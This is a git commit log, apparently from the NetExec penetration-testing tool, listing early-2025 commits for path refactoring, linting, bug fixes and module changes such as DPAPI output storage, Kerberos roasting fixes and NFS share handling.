D4ytox 64cce9572f Fix path imports to be grouped with other imports 2025-04-18 15:55:30 +01:00
moscowchill a1a1be66ae Refactor output file path construction in SMB protocol
- Updated the output file template to use os.path.join for improved OS compatibility.
- Enhanced readability by separating base log directory and filename pattern construction.
2025-04-18 07:02:24 -07:00
D4ytox 88997c33a8 Fix ruff findings 2025-04-18 14:37:35 +01:00
D4ytox bf202a23f1 Merge the two import statements together 2025-04-18 14:31:14 +01:00
D4ytox d40a1c84d2 Fix unecessary expand_user in context.py 2025-04-18 14:27:06 +01:00
D4ytox 5fc5922bf2 Use WORKSPACE_DIR in netexec.py 2025-04-18 14:17:32 +01:00
D4ytox 41a9345927 Use CONFIG_PATH in config.py 2025-04-18 14:17:32 +01:00
D4ytox ca7408fd4d Use TMP_PATH in smb.py 2025-04-18 14:17:32 +01:00
D4ytox 95c11aa434 Use NXC_PATH,CONFIG_PATH in context.py 2025-04-18 14:17:32 +01:00
D4ytox 5f25e25d26 Use NXC_PATH in spider_plus.py 2025-04-18 14:17:32 +01:00
D4ytox 4c515414e2 Use NXC_PATH in get_netconnections.py 2025-04-18 14:17:32 +01:00
D4ytox dc00beab39 Use NXC_PATH in enum_dns.py 2025-04-18 14:17:32 +01:00
D4ytox f16616eeb6 Use CONFIG_PATH in database.py 2025-04-18 14:17:32 +01:00
D4ytox 2e50996ae5 Use TMP_PATH in wmiexec.py 2025-04-18 14:17:32 +01:00
D4ytox a3920da302 Use TMP_PATH in mmcexec.py 2025-04-18 14:17:32 +01:00
D4ytox b8d5ede6f5 Use TMP_PATH in atexec.py 2025-04-18 14:17:32 +01:00
D4ytox 0e370152b8 Use NXC_PATH in wmi.py 2025-04-18 14:17:32 +01:00
D4ytox 038fe52e8c Use NXC_PATH in winrm.py 2025-04-18 14:17:32 +01:00
D4ytox 4174dd9313 Use NXC_PATH in vnc.py 2025-04-18 14:17:32 +01:00
D4ytox f295dcf5f5 Use NXC_PATH in rdp.py 2025-04-18 14:17:32 +01:00
D4ytox d6e8cad817 Use NXC_PATH in ldap.py 2025-04-18 14:17:32 +01:00
D4ytox fb7ca1dac0 Use TMP_PATH in keepass_trigger.py 2025-04-18 14:17:32 +01:00
D4ytox 314c3675ef Use NXC_PATH in get-network.py 2025-04-18 14:17:32 +01:00
D4ytox bc12c96492 Use NXC_PATH in protocolloader.py 2025-04-18 14:17:32 +01:00
D4ytox 7d08340d29 Use NXC_PATH in logger.py 2025-04-18 14:17:32 +01:00
D4ytox d814e2cc2c Use NXC_PATH in netexec.py 2025-04-18 14:17:31 +01:00
c4pit0ch3f 633cec1dc9 added support for LDAP simple auth 2025-04-17 15:08:11 +02:00
Alex 024ff0ab03 Merge pull request #645 from bandrel/nfs-fstring-bug
Update nfs.py
2025-04-14 14:58:31 -04:00
Alexander Neff 3ebec370ec Add missing single quotes around slash 2025-04-14 14:50:30 -04:00
Justin Bollinger bead78abae Update nfs.py
fixed syntax error for fstring that was causing it to crash

Signed-off-by: Justin Bollinger <[email protected]>
2025-04-14 13:02:36 -04:00
Alex 5e08f53b72 Merge pull request #644 from Pennyw0rth/neff-fix-binary-workflow
Add missing Pillow package to binary workflow
2025-04-13 16:18:27 +02:00
Alexander Neff 0517c70e0e Add missing Pillow package to binary workflow 2025-04-13 10:13:41 -04:00
Alex 806e4c73b2 Merge pull request #643 from Pennyw0rth/v1.4.0
Add CODENAME for release v1.4.0
2025-04-13 15:53:12 +02:00
Alexander Neff a73624aa5c Add CODENAME for release v1.4.0 2025-04-13 09:48:33 -04:00
Alex af743bf517 Merge pull request #642 from Pennyw0rth/neff-parse-uuids
Add sid parsing directly to the ldap attribute parser
2025-04-13 14:05:22 +02:00
Alexander Neff d5bd57dd94 Add sid parsing directly to the ldap attribute parser 2025-04-13 07:21:24 -04:00
Alex 6c30f3b611 Merge pull request #641 from exploide/completions
completions: no not complete options without entering `-` first
2025-04-13 13:18:00 +02:00
exploide b0ccbba947 completions: no not complete options without entering - first
additionally, this commit makes activate-global-python-argcomplete work
2025-04-13 11:21:04 +02:00
Alex 0b1a4e452a Merge pull request #640 from Pennyw0rth/neff-add-gmsa-readPrincipal
Add read principal to GMSA
2025-04-12 20:23:20 +02:00
Alexander Neff 47e40928b7 Add read principal of gmsa 2025-04-12 14:12:18 -04:00
Alex bf37152d3f Merge pull request #471 from termanix/patch-7
Update ldap.py for parse_result_attributes
2025-04-12 20:10:55 +02:00
Alexander Neff 5e400fb4b6 Fix GMSA account not showing for user without read privs 2025-04-12 12:32:35 -04:00
Alexander Neff 2540ca91b4 Refactor gmsa functions 2025-04-12 11:54:34 -04:00
Alexander Neff a4931816d9 Replace create_conn_obj parsing 2025-04-12 08:38:07 -04:00
Alex 5509c6b018 Merge pull request #638 from Pennyw0rth/neff-fix-rid-brute
Catch rpc error nca_s_op_rng_error when method is not implemented
2025-04-12 14:32:03 +02:00
Alex c9d9e49068 Merge pull request #639 from Pennyw0rth/neff-fix-desc-module
Fix encoding issue in get-desc-user
2025-04-12 14:31:55 +02:00
Alexander Neff 13c554bce5 Show only user objects with admincount 2025-04-12 08:17:19 -04:00
Alexander Neff c5bf67abc0 Fix asreproast only returning one user 2025-04-11 21:16:17 -04:00
Alexander Neff eae7ed544f Use parsed resp for counting results 2025-04-11 21:10:25 -04:00
Alexander Neff 1dc56bfaca Clean up --kerberos 2025-04-11 20:54:07 -04:00
Alexander Neff 92f4435b4b Massively trim down logic of admin_count as most of it isn't used 2025-04-11 20:53:51 -04:00
Alexander Neff c47df0842c Massively trim down logic of password_not_required as most of it isn't used 2025-04-11 20:04:33 -04:00
Alexander Neff 373232dea9 Massively trim down logic of trusted_for_delegation as most of it isn't used 2025-04-11 19:55:24 -04:00
Alexander Neff 8b27ec57ae Massively trim down logic of asreproast as most of it isn't used 2025-04-11 19:44:45 -04:00
Alexander Neff 09ec961d04 Linting 2025-04-11 19:21:18 -04:00
Alexander Neff 0dcc51b106 Make use of format strings and fix english 2025-04-11 19:21:05 -04:00
Alexander Neff 96eda79ab8 Merge branch 'main' into patch_ldap_parsing 2025-04-11 18:48:51 -04:00
Alexander Neff 9cb9fe7728 Fix encoding issue in get-desc-user 2025-04-11 17:17:18 -04:00
Alexander Neff 385715440c Catch rpc error nca_s_op_rng_error when method is not implemented 2025-04-11 12:05:19 -04:00
Alex 5a786487b6 Merge pull request #637 from Pennyw0rth/neff-fix-ldap-hashauth 2025-04-10 10:34:06 +02:00
Alexander Neff dcf7e97470 Fix ldap hash auth with signing enforced 2025-04-09 20:02:51 -04:00
Alex 8cad72623e Merge pull request #636 from termanix/kerb-fix 2025-04-09 09:19:01 +02:00
Alexander Neff 47960d14c3 Move ccache check to enum_host to respect kdcHost logic (must stay empty in domain trust auth) 2025-04-08 18:31:11 -04:00
termanix 531b760fb6 Merge branch 'main' into kerb-fix 2025-04-08 15:40:29 -04:00
Alex 4e4dfae633 Merge pull request #633 from termanix/update-dpapi
SMB DPAPI Now Store Results, Issue  #632
2025-04-08 21:37:35 +02:00
termanix aa943aa08e ccache as default and setted if self.args.domain 2025-04-08 15:08:57 -04:00
Alexander Neff 725b1df643 Replace hardcoded nxc path with NXC_PATH 2025-04-08 15:02:24 -04:00
Alexander Neff 652558309d Move all lsa/sam/ntds/dpapi output files into seperate folders 2025-04-08 14:43:34 -04:00
termanix b32f95bcbc Takes domain value from ccache file Default principal 2025-04-08 14:02:51 -04:00
Alexander Neff f6c22db7be Remove null bytes from dpapi output 2025-04-08 09:33:29 -04:00
termanix 518f7d4078 ruff fix 2025-04-07 09:00:44 -04:00
Alex 27f58aee79 Merge pull request #634 from Pennyw0rth/neff-fix-ldap-baseDN
Fix the baseDN for admin_check for custom baseDN
2025-04-07 14:52:21 +02:00
Alexander Neff 7755d05431 Linting 2025-04-07 08:21:52 -04:00
Alexander Neff a24e1327ac Fix admin_check if a different baseDN was specified 2025-04-07 08:21:33 -04:00
termanix 13c02f4524 Saving dpapi results like sam, lsa, ntds, etc. 2025-04-07 07:59:18 -04:00
Alex 98062cb345 Merge pull request #630 from Pennyw0rth/neff-remove-firefox
Remove firefox module in favour of --dpapi which includes firefox
2025-04-03 21:03:56 +02:00
Alexander Neff 826dec4a89 Merge branch 'main' into neff-remove-firefox 2025-04-03 14:54:38 -04:00
Alexander Neff d5737c61b1 Remove firefox module in favour of --dpapi which includes firefox 2025-04-03 14:48:54 -04:00
Alexander Neff bcf6b37eaf Use context manager for files and improve code 2025-04-03 14:41:55 -04:00
Alexander Neff eb88dc5423 Rename ElementTree to ET for consistency 2025-04-03 14:41:29 -04:00
Alexander Neff a4bdf2b174 Mostly ignore firefox because it will be removed anyway 2025-04-03 14:24:09 -04:00
Alexander Neff 2f63732f00 One liner return values and format strings 2025-04-03 14:23:43 -04:00
Alexander Neff 1520f3cbd4 Remove unnecessary code and format string 2025-04-03 14:02:29 -04:00
Alexander Neff 768a401019 Leaving as is for readability 2025-04-03 14:02:07 -04:00
Alexander Neff 4255cab29d Adding exceptions for false positives 2025-04-03 13:57:22 -04:00
Alexander Neff f386434ce5 Lint daclread 2025-04-03 13:49:54 -04:00
Alexander Neff 67abbf8bf3 Disable RUF052, these are considered private not dummy 2025-04-03 13:38:28 -04:00
Alexander Neff 542452accb Apply C419, removing unnecessary list comprehensions 2025-04-03 13:26:38 -04:00
Alexander Neff bde58c4e56 Apply SIM401, use .get() over 'x if x else y' 2025-04-03 13:19:08 -04:00
Alexander Neff 89233700b6 Disable A004, as it complains about sys.exit which supposes to be superior in programs 2025-04-03 13:16:43 -04:00
Alexander Neff 42538e4c89 Disable false positive 2025-04-03 13:16:13 -04:00
Alexander Neff 52008c1b25 Remove unnecessary cast to int 2025-04-03 12:30:38 -04:00
Alexander Neff ae6721aa9a Remove all FURB rules, makes code more complicated 2025-04-03 12:27:35 -04:00
Alexander Neff a42c664326 Autofix with ruff 2025-04-03 12:22:06 -04:00
Alexander Neff 5782352622 Remove rule which converts 'x if x else y' and deletes unused variables 2025-04-03 12:19:38 -04:00
Alexander Neff 1289a0e025 Enable preview mode as recommended in our doc guidelines 2025-04-03 12:10:49 -04:00
Alexander Neff dc415e75e4 Fixed string concatination that is only available in py3.12+ 2025-04-03 12:04:21 -04:00
Alexander Neff 61e2e58e50 Fix UP031, remove percent string replacements 2025-04-03 12:01:33 -04:00
Alexander Neff 66e9927c3e Fix UP031, remove percent string replacements 2025-04-03 11:57:47 -04:00
Alexander Neff 31373e4cac Don't check for D413, missing-blank-line-after-last-section 2025-04-03 11:02:14 -04:00
Alexander Neff f4ad70635a Fix LOG015 and replace all calls to root logger 2025-04-03 11:01:27 -04:00
Alex 5a71b62acc Merge pull request #628 from Pennyw0rth/neff-fix-exec-output
Fix left handside indent from exec output
2025-04-03 16:16:55 +02:00
Alexander Neff 2c29856d92 Update ruff settings declaration to reflect latest recommendations 2025-04-03 09:59:53 -04:00
Alexander Neff b35cfe0671 Update ruff settings declaration to reflect latest recommendations 2025-04-03 09:46:28 -04:00
Alexander Neff 351979375b Update ruff to latest version 2025-04-03 09:45:31 -04:00
Alexander Neff d5978062ff Allow linting pipeline to run on review submittions like the test pipeline 2025-04-03 09:27:03 -04:00
Alexander Neff 1248552ef8 Linting 2025-04-03 09:00:33 -04:00
Alexander Neff ecad15e85a Fix left handside indent from powershell output 2025-04-03 08:44:51 -04:00
Alex 6fcfb8d031 Merge pull request #450 from Dfte/SMB]-ADd-the-recent_files-module
[SMB] Add the recent_files module
2025-04-02 01:35:22 +02:00
Alexander Neff f00c835c09 Merge branch 'main' into recent-files 2025-04-01 19:30:38 -04:00
Alexander Neff 0cdd60a60f Add no options text 2025-04-01 19:21:05 -04:00
Alex 99fe618dbd Merge pull request #625 from jdholtz/smb-cmdexec-improvements
smb: Prevent infinite loops handling an unknown error retrieving command output
2025-04-01 23:35:37 +02:00
Alex 677e25485b Merge pull request #626 from noraj/patch-1 2025-04-01 00:53:58 +02:00
Alexandre ZANNI 2747f1efd8 remove pywerview from spec
Signed-off-by: Alexandre ZANNI <[email protected]>
2025-04-01 00:43:53 +02:00
jdholtz 3897ceeb0a smb: Prevent infinite loops handling an unknown error retrieving command output
When an error like 'Broken pipe' occurs while trying to read the output
file from a command, the number of tries is not incremented, causing an
infinite loop fetching the output file (if this error keeps happening).
Now, the number of tries is incremented in this case. Also, the debug
messages were slightly improved to be more clear when failing to
retrieve output.
2025-03-31 11:38:34 -07:00
Alex f31fb4f098 Merge pull request #622 from Pennyw0rth/neff-fix-winscp
Improve WinSCP module
2025-03-30 15:23:04 +02:00
Alexander Neff a2b336d94a Remove command execution to enumerate local users and improve error handling 2025-03-30 09:14:58 -04:00
Alex 4ae32a73cd Merge pull request #602 from haytechy/output_users 2025-03-28 14:10:57 +01:00
Alexander Neff 37efce100a Fix logic when checking if args where specified and improve help text 2025-03-27 20:02:43 -04:00
Alexander Neff 75eecab8ed Convert --users-export to the same structure as in ldap 2025-03-27 19:52:48 -04:00
Alexander Neff a449284d20 Fix logic for debug output when user is specified 2025-03-27 19:41:42 -04:00
Alexander Neff 4eae4a2dd8 Make help description more precise 2025-03-27 19:39:51 -04:00
Alexander Neff 718b9fe4b6 Change variable name for export path and display export info line only when specified 2025-03-27 19:38:02 -04:00
Alex 2d3e1be1ab Merge pull request #620 from Pennyw0rth/spec-file
Fix spec file
2025-03-27 15:13:43 +01:00
Alex a0aaf1ad12 Merge pull request #619 from Pennyw0rth/neff-fix-putty
Add Error handling for loading users into registry
2025-03-27 15:13:32 +01:00
Alex 3318fa8ea2 Merge pull request #615 from Testeur-2-stylos/fix-smbv1-nxcdb
Update smb.py to test smbv1 connection before writing in nxcdb
2025-03-27 15:10:57 +01:00
Alexander Neff 71cfd4b347 Move logoff above smbv1 check 2025-03-27 09:49:23 -04:00
Alexander Neff 9c8e6f43ca Fix spec file 2025-03-27 09:40:46 -04:00
Alexander Neff 62ba3588ba Add Error handling for loading users into registry 2025-03-27 09:21:18 -04:00
Testeur_2_stylos 45f899219c Update smb.py to test smbv1 connection before writing in nxcdb
Signed-off-by: Testeur_2_stylos <[email protected]>
2025-03-26 10:16:54 +01:00
Kriyos 7b1f60d83d Merge branch 'Pennyw0rth:main' into main 2025-03-24 19:41:56 -04:00
Alex 8d0b4e3e7b Merge pull request #527 from lap1nou/fix-ldap-db
Added credential and host DB for LDAP protocol
2025-03-24 17:37:54 +01:00
Alexander Neff 52a28aa88d Formating 2025-03-24 12:32:54 -04:00
Alexander Neff ccf81517a4 Add db.add_creds for kerberos with SSL enforced 2025-03-24 12:23:50 -04:00
Alex 87a5c366df Merge pull request #611 from shikatano/pre2k-passwd-length
modified the password used in pre2k.py for machine names longer than …
2025-03-24 17:11:04 +01:00
Lou 4cd4dbbd83 modified the password used in pre2k.py for machine names longer than 14 characters 2025-03-23 12:14:42 -04:00
lap1nou 6b0cfcdea8 Added db_navigator stuff 2025-03-22 17:20:23 +01:00
lapinou 7146824299 Merge branch 'Pennyw0rth:main' into fix-ldap-db 2025-03-21 23:46:05 +01:00
Marshall Hallenbeck 6de62472ef Merge pull request #590 from Pennyw0rth/marshall-db-ip-fix
fix: check if an IP is being searched for when calling get_hosts
2025-03-21 10:48:50 -04:00
termanix 4fcc4fdce4 updated for killing notepad.exe process 2025-03-19 18:52:14 -04:00
termanix 7e23c1b318 e2e_commands.txt editted 2025-03-19 17:02:21 -04:00
termanix 4634473609 owner name 2025-03-19 16:56:53 -04:00
termanix c2437b2b9b New module add notepad 2025-03-19 16:47:23 -04:00
Marshall Hallenbeck f4fa975d36 fix: check if the table uses ip or host for hosts before adding 2025-03-19 16:19:02 -04:00
Marshall Hallenbeck 166df14514 Merge branch 'main' into marshall-db-ip-fix 2025-03-19 15:46:39 -04:00
Alex aa832c5f1a Merge pull request #606 from jdholtz/ldap-timeout
Silently handle connection timed out during LDAP scan
2025-03-19 16:00:24 +01:00
Alexander Neff 0aeb105bd8 Add ENETUNREACH if the targeted network is not reachable 2025-03-19 10:49:33 -04:00
jdholtz 3fa2c746d6 Silently handle connection timed out during LDAP scan 2025-03-18 16:47:12 -07:00
mpgn da8ef0f0fb Merge pull request #604 from Pennyw0rth/ntlm
Add information if ntlm disabled
2025-03-18 16:34:13 +01:00
mpgn 87c223ed5e Add information if ntlm disabled 2025-03-17 19:04:18 +01:00
mpgn 91c339ea30 Merge pull request #603 from Pennyw0rth/fix_host
fix 0x_df issue with hosts file
2025-03-17 16:48:10 +01:00
mpgn 0f1c2f933b fix extra space 2025-03-17 15:55:33 +01:00
mpgn 450f1b2a89 fix extra space 2025-03-17 15:51:34 +01:00
mpgn 7723e74b30 fix 0x_df issue with hosts file 2025-03-17 15:40:56 +01:00
haytehcy 69baa8c133 Merge branch 'output_users' of https://github.com/haytechy/NetExec into output_users 2025-03-16 17:19:58 +00:00
haytehcy 7d8d1dbd2d Changed writelines to write on new lines 2025-03-16 17:19:29 +00:00
Alex 0892e066e4 Merge branch 'Pennyw0rth:main' into output_users 2025-03-16 15:50:57 +00:00
Alex ea77ad9a4e Merge pull request #597 from Pennyw0rth/neff-bug-fixes 2025-03-16 11:16:27 +01:00
mpgn cbcdf3acd3 Merge pull request #599 from Pennyw0rth/regsecret 2025-03-16 09:29:17 +01:00
haytehcy 8a35848474 Minor tweak/fixes to output users 2025-03-16 07:32:21 +00:00
Alexander Neff 1145cfe15f Make bool check a bit more explicit 2025-03-15 20:02:38 -04:00
haytehcy d6600d5f7c Minor tweak/fixes 2025-03-15 23:36:12 +00:00
haytehcy 0acdbbe345 Added Users Export 2025-03-15 23:20:29 +00:00
mpgn 1fe387e8f9 Merge branch 'main' into regsecret 2025-03-15 23:01:05 +01:00
mpgn 613fd5e48e fix ruff 2025-03-15 23:00:40 +01:00
mpgn a727f0283f Add choice to use old or new technique 2025-03-15 22:48:25 +01:00
Alex b520fdf9f5 Merge pull request #601 from Pennyw0rth/neff-revert-speed-improvs
Revert #411 due to connection issues (#479)
2025-03-15 17:48:06 +01:00
Alexander Neff 26c4847018 Revert #411 due to connection issues (#478, #479), possibly concurrency problems 2025-03-15 12:35:50 -04:00
Marshall Hallenbeck f0602c7804 Merge branch 'main' into marshall-db-ip-fix 2025-03-15 11:47:28 -04:00
Alex 340bc60759 Merge pull request #594 from Mercury0/asreproast-DNS-patch
Use host IP for DNS resolution in asreproast function if kdcHost not specified
2025-03-15 16:15:14 +01:00
Alexander Neff ae653c283b Add fix from ea7e0925a1 to the ldap protocol 2025-03-15 11:09:14 -04:00
Alexander Neff 7162fd9c3d Moved the fix for #592 to kerberoast class because otherwise user without password crashes without DNS 2025-03-15 11:08:35 -04:00
Alexander Neff adb423ef09 Remove unused imports 2025-03-15 10:20:30 -04:00
mpgn 97703063b6 Add regsecretdump technique 2025-03-14 23:17:33 +01:00
Marshall Hallenbeck 95ae5deb27 Merge branch 'main' into marshall-db-ip-fix 2025-03-14 10:12:46 -04:00
Alexander Neff c4bf023032 Improve logging output of --shares 2025-03-14 13:22:16 +01:00
Alexander Neff 493b12e1fb Fix get-unixUserPassword/get-userPassword modules which sometimes does not retrieve all users with these attributes 2025-03-14 11:33:38 +01:00
Alexander Neff d343e212cd Fix NFS indent for share listing 2025-03-13 14:41:54 +01:00
Alexander Neff c2cb7521df Fix ldap query output for output containing special chars, e.g. german äöü 2025-03-13 14:41:27 +01:00
Alexander Neff 98c4b15781 Fix wcc wsus check 2025-03-13 14:40:34 +01:00
Alexander Neff 36e4f4fb66 Set nfs timeout to 5 seconds 2025-03-11 14:52:27 +01:00
Alexander Neff 2621dcad02 If mount error still list share with available infos 2025-03-11 14:51:35 +01:00
Fox 725c96f57a Use host IP for DNS resolution for asreproasting 2025-03-10 09:05:40 -07:00
Alexander Neff fff8d09d2a If len(val_list) is zero val_list[0] will crash, this will now return the empty list 2025-03-10 16:04:41 +01:00
crosscutsaw e551d3e006 Update enable_cmdshell.py
Signed-off-by: crosscutsaw <[email protected]>
2025-03-09 22:07:51 +03:00
mpgn f8293d156b Merge pull request #579 from Pennyw0rth/remove_pywerview
Remove pywerview dependency
2025-03-09 11:25:42 +01:00
Alexander Neff 84dbe26bd6 Change wording to REMOVED as it actually is removed 2025-03-08 20:54:59 -05:00
Alexander Neff f7c6f20ba7 Sort member output by sid for better alignment 2025-03-08 20:49:45 -05:00
Alexander Neff 93446a593f Add Exception handling when we get rpc_access_denied 2025-03-08 20:17:51 -05:00
Alexander Neff ddc00c97da Raise exception on rpc_access_denied so it doesnt crash later for unkown reasons, use provided logger instead of nxc_logger 2025-03-08 20:16:47 -05:00
mpgn 0129b43a82 add poetry.lock 2025-03-08 22:40:30 +01:00
mpgn 25e7529a7c remove pywerview from pyproject 2025-03-08 22:36:23 +01:00
mpgn d279bb8ad1 fix ruff 2025-03-08 22:34:03 +01:00
mpgn 402ef37d02 Merge branch 'main' into remove_pywerview
Signed-off-by: mpgn <[email protected]>
2025-03-08 22:30:58 +01:00
mpgn a45ba3b0fc add local enumeration members on local group 2025-03-08 22:25:48 +01:00
Marshall Hallenbeck 9259825d36 Merge branch 'main' into marshall-db-ip-fix 2025-03-08 12:48:07 -05:00
Alexander Neff ec8abe6c6c Formating 2025-03-08 11:45:53 -05:00
Alex 0063ec0995 Merge pull request #574 from n3rada/main
Fix Poetry 2.1+ compatibility in `pyproject.toml`
2025-03-08 17:36:39 +01:00
Alexander Neff c7f28f5363 Remove poetry version lock in tests and remove duplicate poetry installation 2025-03-08 11:30:04 -05:00
Alexander Neff 875bf28b8b Remove unused packages 2025-03-08 10:49:19 -05:00
Alexander Neff 573a23c45a Pin pywerview to 0.3.3 2025-03-08 10:37:16 -05:00
Alexander Neff ed793d7883 Readd comments 2025-03-08 10:24:53 -05:00
Alexander Neff e87489f8ca Add commit 'distance' to version 2025-03-08 10:13:39 -05:00
Alex 23f4e63b65 Merge pull request #591 from Pennyw0rth/neff-patch-1
Catch ldap error if host is not reachable
2025-03-08 15:44:21 +01:00
Alex 6135e12cdb Merge pull request #464 from Dfte/Add---remoteuac-module
Create remote-uac.py
2025-03-08 15:42:54 +01:00
Alexander Neff dafc28a8c6 Catch ldap error if host is not reachable 2025-03-08 09:33:20 -05:00
Alexander Neff 62afd52961 Add option text 2025-03-08 09:17:11 -05:00
Alexander Neff 446bb30be3 Formating 2025-03-08 09:11:52 -05:00
Alexander Neff 02616525ca Rename module 2025-03-08 09:11:31 -05:00
Alex 7e1537b935 Merge branch 'main' into Add---remoteuac-module 2025-03-08 15:06:53 +01:00
Alexander Neff 7d80a3fceb Change deprecated output to fail 2025-03-08 08:19:19 -05:00
Alexander Neff 82002a7c3b Deprecate --loggeon-users-filter and spelling fix 2025-03-08 08:14:24 -05:00
Alexander Neff bb838c75e2 Apply filter by specifying a user for --loggedon-users arg 2025-03-08 08:09:57 -05:00
Marshall Hallenbeck 5889e55906 fix: check if an IP is being searched for when calling get_hosts in db calls; fixes #589 2025-03-07 20:02:45 -05:00
Alex c1e1205a9a Merge pull request #588 from Pennyw0rth/neff-patch-1 2025-03-07 16:39:16 +01:00
Alexander Neff d0a4be4447 Move connection error to info instead of fail similar to smb etc 2025-03-07 10:27:25 -05:00
Alexander Neff d214067218 Fix exception when it is not possible to list share 2025-03-07 10:18:05 -05:00
zblurx e68cc41906 Merge pull request #587 from Mercury0/ldap-checker-refactor
Improve reliability of ldap-checker module
2025-03-07 14:49:45 +01:00
n3rada d43b861533 Remove poetry.toml 2025-03-07 10:56:36 +01:00
Fox a91761a755 Improve reliability of ldap-checker module 2025-03-06 14:03:06 -08:00
Alex 9161b29e90 Merge pull request #570 from Pennyw0rth/neff-fix-veeam-output 2025-03-04 06:59:40 -05:00
Mauriceter bff20dff79 Merge branch 'Pennyw0rth:main' into sccm-winreg 2025-03-04 12:35:32 +01:00
Mauriceter 2e634750db Delete nxc/modules/wds.py
Signed-off-by: Mauriceter <[email protected]>
2025-03-04 11:39:37 +01:00
Joachim De Bats f41f80d98f module recon sccm with winreg 2025-03-04 11:18:12 +01:00
Alexander Neff d201e4047e Fix --groups for groups without users or only one user 2025-03-03 20:18:59 -05:00
Alexander Neff 9203a5817c Remove dead code that was used by --users and --computers 2025-03-03 20:01:01 -05:00
Alexander Neff 0a5c1fd698 Add --computers from smb to ldap 2025-03-03 19:58:57 -05:00
Alexander Neff fc6e34ef76 Deprecate group-mem module 2025-03-03 19:45:56 -05:00
Alexander Neff 24cdf8d604 Add possibility to enumerate group members via ldap 2025-03-03 19:39:47 -05:00
Alexander Neff 6e390e8957 Add deprecated label so it is easier to find when we remove deprecated stuff 2025-03-03 19:12:24 -05:00
Alex 674fe5ed88 Merge pull request #584 from Pennyw0rth/neff-nfs-escape-to-rootfs
Small bug fixes for NFS
2025-03-03 18:59:32 -05:00
Alexander Neff 8aec485b79 Formating 2025-03-03 18:41:38 -05:00
Alexander Neff 4a696dff7e Fix bug if file has other permissions than the directory. Also better error handling 2025-03-03 17:20:05 -05:00
Alexander Neff 19ba129350 Fix bug if upload target dir is root point 2025-03-03 17:19:23 -05:00
Alex 9768568b65 Merge pull request #583 from Pennyw0rth/neff-nfs-escape-to-rootfs
NFS escape to root fs
2025-03-03 12:37:37 -05:00
Alexander Neff 9e44b7f1ed Better english 2025-03-03 10:11:04 -05:00
Alexander Neff 5f533f2c8f More UID/GID updates and clean up 2025-03-03 10:07:30 -05:00
Alexander Neff 13a6653503 Remove unused import 2025-03-02 18:45:36 -05:00
Alexander Neff df4e992c52 Add root_escape for --get-file and --put-file 2025-03-02 18:43:35 -05:00
Alexander Neff 67ce02eae7 Clean up and comments 2025-03-02 13:17:11 -05:00
Alexander Neff 434b0f4b80 Fix for items that are not resolved by the readdirplus call 2025-03-02 13:15:09 -05:00
Alexander Neff 9e4366f97f Add implementation for 'ls' 2025-03-02 12:59:52 -05:00
Alexander Neff de95d01c64 Add check for root escape 2025-03-02 10:14:17 -05:00
mpgn 0814931cf0 Merge branch 'main' into remove_pywerview 2025-03-02 14:20:56 +01:00
Alexander Neff d87c379ac5 NFS root escape automated for each share 2025-02-27 19:27:53 -05:00
Alexander Neff d1f7db656b Merge branch 'main' into neff-nfs-escape-to-rootfs 2025-02-27 17:35:50 -05:00
Alexander Neff 4571f93dce Working on nfs root escape 2025-02-27 17:35:48 -05:00
Alex 253f797f58 Merge pull request #580 from Pennyw0rth/neff-patch-1
Linting
2025-02-26 23:51:34 +01:00
Alexander Neff 5da61176b4 Linting 2025-02-26 17:46:23 -05:00
Alex 1ade4d6702 Merge pull request #445 from Dfte/SMB]-Add---qwinsta-and---tasklist-options
[SMB] Add the --qwinsta and --tasklist options
2025-02-26 23:32:27 +01:00
mpgn 45ea1de213 add poetry.lock 2025-02-26 23:02:48 +01:00
mpgn 0083554cca ruff fix 2025-02-26 23:00:51 +01:00
mpgn 4cc5d87d12 remove smb-session option 2025-02-26 23:00:13 +01:00
mpgn ae684bf0df rework smb function to remove pywerview dependency 2025-02-26 22:52:21 +01:00
Alexander Neff ca5a076f1e Add IPv4 to qwinsta output 2025-02-26 16:09:41 -05:00
Alexander Neff 53b42df414 Add IPv4 to qwinsta output 2025-02-26 13:53:08 -05:00
Alexander Neff 74e6aa03c1 Pass local object to functions istead of using a class variable, alread in use 2025-02-26 12:54:51 -05:00
n3rada 47bb14680a Fix auto version 2025-02-26 18:39:03 +01:00
Alex 2343ddf62a Merge pull request #577 from Pennyw0rth/neff-patch-1
Rename ambigous function
2025-02-26 18:33:21 +01:00
Alexander Neff c9111968e2 Also rename the arg lol 2025-02-26 12:05:34 -05:00
Alexander Neff 6c807b283c Rename ambigous function 2025-02-26 11:51:12 -05:00
Alexander Neff 23de82520f Add missing kerberos parameter 2025-02-26 11:28:57 -05:00
Alex 80f00af37d Merge pull request #576 from Pennyw0rth/neff-patch-1
Fix ASCII Art
2025-02-26 17:17:03 +01:00
Alexander Neff 724401af7a Formating 2025-02-26 11:15:56 -05:00
Alexander Neff 98c92077cc Replace single quote with double quote 2025-02-26 11:14:40 -05:00
Alexander Neff cb76ad8ded Fix ASCII Art 2025-02-26 09:32:03 -05:00
n3rada 7688320925 Updating poetry.lock and pyproject.toml 2025-02-26 09:55:42 +01:00
Alex c97e562bcc Merge pull request #575 from Mercury0/powershell_history_fix
Refactored powershell_history module to fix case sensitivity
2025-02-26 09:40:58 +01:00
Alexander Neff 6120249dd0 Simplify code 2025-02-26 03:36:22 -05:00
Fox b14830f17a Refactored powershell_history module to fix case sensitivity 2025-02-25 14:25:30 -08:00
n3rada f79a652723 Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:26:48 +01:00
n3rada 384eb30cdd Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:25:15 +01:00
n3rada 7b44298e21 Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:24:54 +01:00
n3rada dd72ee377d Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:23:15 +01:00
n3rada f6c376df17 Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:21:52 +01:00
n3rada e50bf7e686 Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:21:07 +01:00
n3rada 8a9e9a164c Update pyproject.toml
Signed-off-by: n3rada <[email protected]>
2025-02-25 17:19:21 +01:00
Alex a53a1ce865 Merge pull request #573 from Pennyw0rth/zblurx-fix-ldap-checker
LDAP checker fix when checking without creds
2025-02-25 15:04:23 +01:00
zblurx 2d21f4d7a6 LDAP checker fix when checking without creds 2025-02-25 12:40:13 +01:00
Alexander Neff ad6c385493 Typo 2025-02-23 13:14:06 -05:00
Alex 307aa248cb Merge pull request #571 from Pennyw0rth/neff-fix-py3.13 2025-02-21 10:26:54 +01:00
Alexander Neff 1911ca9e51 Update impacket and pynfsclient 2025-02-20 18:36:51 -05:00
